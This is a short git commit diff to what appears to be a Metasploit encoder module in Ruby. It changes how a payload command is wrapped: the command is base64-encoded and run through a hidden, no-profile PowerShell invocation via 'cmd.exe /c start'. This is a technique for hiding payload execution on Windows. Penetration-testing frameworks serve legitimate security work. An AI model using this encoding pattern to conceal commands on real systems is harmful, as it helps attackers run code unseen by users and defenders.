Dont use quotes and start in a console

This commit is contained in:
Meatballs 2014-02-10 23:15:59 +00:00
parent 6234528c25
commit 39be214413
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 1 additions and 1 deletions

View File

@ -47,7 +47,7 @@ class Metasploit3 < Msf::Encoder
end
def encode_buf(buf)
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c \"#{buf}\""))
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}"))
cmd = "powershell -w hidden -nop -e #{base64}"
end